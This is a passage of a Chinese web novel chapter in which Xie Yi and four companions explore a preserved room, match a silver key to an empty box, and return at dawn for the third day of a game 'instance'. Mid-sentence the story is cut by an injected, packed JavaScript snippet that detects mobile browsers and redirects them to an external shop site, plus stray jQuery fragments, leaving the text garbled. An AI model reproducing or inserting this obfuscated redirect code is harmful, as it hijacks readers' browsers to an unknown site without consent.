门后的光涌出来的时候，是一种暖到发烫的橙黄色，像黄昏被浓缩了十倍塞进了一个房间里。谢意眯了一下眼，等他重新适应了光线之后，看见的是一间和外面完全不同的屋子。
不大。比城中村那间出租屋还小一点。但被收拾得很干净，水泥地面被拖过，泛着微微的水光。一张旧木桌靠墙摆着，桌上铺着蓝白格子的桌布。墙上钉着一排木板，上面放着几本旧书和一只掉了漆的搪瓷杯。角落里有一张单人床，床单是洗到发白的浅蓝色，枕头套边上绣着一小簇紫色的花——和次卧那只枕套上的绣花一样。窗台上放着一只小小的玻璃瓶，瓶里插着一根干枯的桂花枝。
整个房间像一个被完整保存下来的旧时光切片。每一件物品都带着被反复使用过的痕迹，但被妥帖地归置在原位。空气里浮着一层淡淡的灰尘和旧布料的气味，混杂着一点桂花的甜香。
谢意站在门口，紫眼睛扫过整个房间。他的目光在每一件物品上都停了一下——旧木桌，蓝白格子的桌布，搪瓷杯，木板上的书，单人床，绣花的枕套，窗台上的桂花枝。然后他的视线落在房间正中央的矮桌上。桌上放着一只敞开的木盒子，盒子内部衬着深蓝色的绒布，绒布中央的凹痕里原本应该放着什么东西，但此刻是空的。盒子旁边压着一张纸条。
他走过去，拿起纸条。上面的字迹和之前完全一致，但笔画比之前轻了一些，像写字的人在逐渐变得疲惫：
"盒子里的东西，你拿走了。"
"你走之后，我把盒子留在这里。等你回来的时候放回新的东西。"
"这次你放了什么？我不知道。你放完就走了，没来得及告诉我。"
"但我猜，你一定放了很重要的东西。"
谢意看着纸条上那几行字。他握着纸边的手没有动。纸条的底部有一行更小的字，几乎是写在纸页边缘的，像被添加上去的附注："你放完东西之后，坐在床边看了很久。走的时候没有回头。我在门口站着，没有叫你。"
谢意站在矮桌前面，把那几行字读完了一遍，又读了一遍，然后折好放进口袋里。他转身，在床边坐了下来。床垫是软的，铺着那层洗到发白的浅蓝色床单。他坐在那里，紫眼睛平视着对面那面墙。墙皮上有几处细小的裂纹，像很久以前贴过什么东西又被撕掉了，留下一片比周围颜色浅一些的方形印痕。
其他四个人从小门里陆续走进来，站在房间门口，看见谢意坐在床边。
"……这又是什么地方？"江野的声音放得很轻，像怕吵醒什么。
"一个被保存下来的房间。"谢意说，"有人住过。很久以前。"
许清寒走到墙边，看了看那排木板上放着的书。他把最外面那一本抽出来翻了两页，然后合上放回去。"……是医学书。很老的版本。里面的内容我见过，但版本比我学的早二十年。"
徐晓蹲在矮桌前看了看那只空盒子。盒底的绒布上有两道压痕，一长一短，像曾经被放进去的东西留下的形状。"盒子里的东西被取走了。纸条说——是你取走的。"
谢意没有立刻回答。他坐在床沿上，看着对面墙面上那片颜色浅一些的方形印痕。他忽然开口说了一句："我刚才做的梦。梦见一个小孩。"他的目光依然落在那片方形印痕上，声音不高不低，像在陈述天气，"小孩的脸是陆执的。缩小版。他叫我哥哥。"
江野的嘴张了张："……陆执？那个副本里那个——"
"对。"
"你梦见他了？而且他叫你哥哥？"
"对。"
客厅里安静了一瞬。许清寒把书放回架上，转身看着谢意。他开口的语气很轻，像在触碰一个容易被捏碎的东西："你以前见过那个小孩吗？我是说——在记忆里，在那些你还没有完全想起来的部分。"
谢意想了想。"在我把它放进盒子里的那个场景里，有一个小孩站在门口。很小，浅色头发，我没看见他的脸。但我走的时候，他在门口站着，没有叫我。"他把目光从墙上收回来，看着自己的手，"可能那就是他。"
林安诚抱着灰兔子走到矮桌前面，看了看那只空盒子。她把兔子放在膝盖上，伸出一只手轻轻碰了碰盒子内衬的绒布。绒布是软的，被压出了两道细痕，一长一短。她歪着头看了一会儿，然后从兔子耳朵后面抬起头来，声音软软的："盒子里的东西，会不会就是钥匙？"
客厅里的四个人同时看向她。
"钥匙——那把菜市场的钥匙——就是放在这个盒子里的东西。"林安诚把盒子捧起来，举到眼前透过灯光看了看盒底，"绒布上面的压痕，和钥匙柄的形状一样。一长的是手柄，一短的是齿。"
谢意站起来走过去，接过那只盒子，放在灯光下仔细看。绒布上的压痕清晰可见——一长一短，和那把钥匙的轮廓确实吻合。他掏出衬衫口袋里那把银色钥匙比了比，压痕和钥匙完全重合。
"钥匙本来就在这个盒子里。"他说，"有人把它拿出来放到了菜市场铁门后面的那个小房间里。然后在这里留了一张纸条。"
"也就是说——"江野慢慢理了一下逻辑，"这个房间是这个副本最早的'起点'？钥匙最早在这儿，然后被人拿走了，放在了另一把锁后面，然后我们找到了，又回到了这里？"
"循环。"徐晓推了推眼镜，"钥匙的获取路径构成了一个环。但这个环是被人为设计出来的。有人故意把它串联成了这个形状。"
谢意把钥匙和纸条一起放回口袋里。他的紫眼睛看着矮桌上那只空盒子，心里有一个念头正在慢慢成型——有人在他进入这个副本之前就已经布置好了一切。钥匙放在盒子里，被取走，放到菜市场，留了线索指引他找到。每一步都在等他来做。
他站起来，走到窗台前，拿起那只插着干枯桂花枝的玻璃瓶。瓶子是透明的，底部有一层极薄的、像干涸了的液体留下的白色痕迹。他把瓶子转了一圈，在瓶底看到了一行细小的、几乎被磨掉了的字："妈妈"。
他握着那只瓶子，站在窗台前面。窗外的夜色依然浓厚，但在窗外极远处的某个方向上，出现了一线极淡的光。像地平线开始发亮的那种光，不刺眼，在深沉的夜色里显得温暖而遥远。
"天快亮了。"许清寒走到窗边看了一眼，"副本的第三天要开始了。"
谢意把玻璃瓶放回窗台上，瓶口那支干枯的桂花枝在放回窗台的过程中微微晃动了一下，一片干缩的花瓣从枝头脱落，落在窗台上，发出极
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17814554|210992||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
轻的"嗒"一声。
他低头看着那片花瓣。干枯的褐色，边缘卷曲着，形状依然保持了桂花应有的轮廓。他伸出手把它捡起来，和那张纸条一起放进了口袋。
"我们回去。"他说。
五个人鱼贯退出那间小房间。谢意最后一个走，他在门口站了一瞬，回头看了一眼房间——旧木桌，蓝白格子桌布，搪瓷杯，单人床，绣花枕套，窗台上那只插着干枯桂花枝的玻璃瓶。灯光把整个房间照得暖融融的，像一个永远停在某个黄昏里的地方。
他轻轻带上了门。
五个人沿着通道往回走。通道尽头的铁门依然开着，他们走出去之后，那扇铁门在他们身后缓缓关闭了，"咔嗒"一声，像被重新锁上。
他们回到街道上。路灯依然亮着，地面依然潮湿。远处的夜色正在缓慢地退开，深色的天幕边缘开始泛起一层极浅的灰。那间小房间的灯光在他们身后被门挡在了里面，只剩一条细细的光线从门缝里漏出来。
江野走了一段路，忽然冒出一句："你说那瓶子——窗台上那个插桂花的瓶子——"
"嗯。"
"它是你——我是说，是她留下来的吗？"
"不知道。"谢意把口袋里的纸条和花瓣隔着衣料碰了一下，"但应该是。"
五个人沿着街道走回他们跳出来的那扇窗户。江野第一个翻上窗台，伸手拉了一把林安诚，然后是许清寒和徐晓。谢意最后一个翻上来，他坐在窗台上回头看了一眼街道——路灯的光在潮湿的地面上铺出一片片橙黄色的光斑，铁皮棚子的轮廓在夜色里渐渐模糊。
他翻进窗户，把窗帘拉上了。
客厅里的光线已经开始重新亮起来了，从角落的夜灯模式缓缓切换成偏暖的晨光。沙发依然翻倒着，地毯依然掀起来一角，那具小身体依然用灰兔子盖着脸躺在原来的位置。窗外的灰色虚空重新开始泛白。
谢意坐在沙发上，把口袋里的东西一件一件掏出来放在茶几上：两张纸条，一片干枯的桂花花瓣，一把银色的钥匙。
他坐在晨光里，看着茶几上那些物件。右手小指上那圈红痕在不甚明亮的光线里泛着微光，像一根被反复系紧又松开的细线，始终没有真正断过。
其他四个人各自找位置坐下来，客厅里恢复了安静。晨光从窗外一寸一寸地铺进来，把那些物件的影子拉长在茶几木纹表面上。
江野打了个哈欠，靠在沙发扶手上："明天——不对，今天，今天还有什么？"
"还有早上的'父母'。"许清寒说，"按进度，今天应该是副本的第三天了。"
"他们还会来。"
"会。"
江野把自己陷进沙发靠垫里，发出一声闷响："……行。来吧。我已经习惯了。来就来吧，大不了再演一次好孩子。"
谢意坐在晨光里，右手握着口袋里的钥匙，左手摸着那截干枯的花瓣边缘。他闭上眼睛，靠在沙发靠背上，感觉着窗外越来越亮的光落在眼皮上。
小孩在梦里说："等我再长大一点就可以保护你了。"
他蜷在梦的余温里，把那句话在心里又过了一遍。
然后他睁开眼，站起来，准备迎接副本的第三天。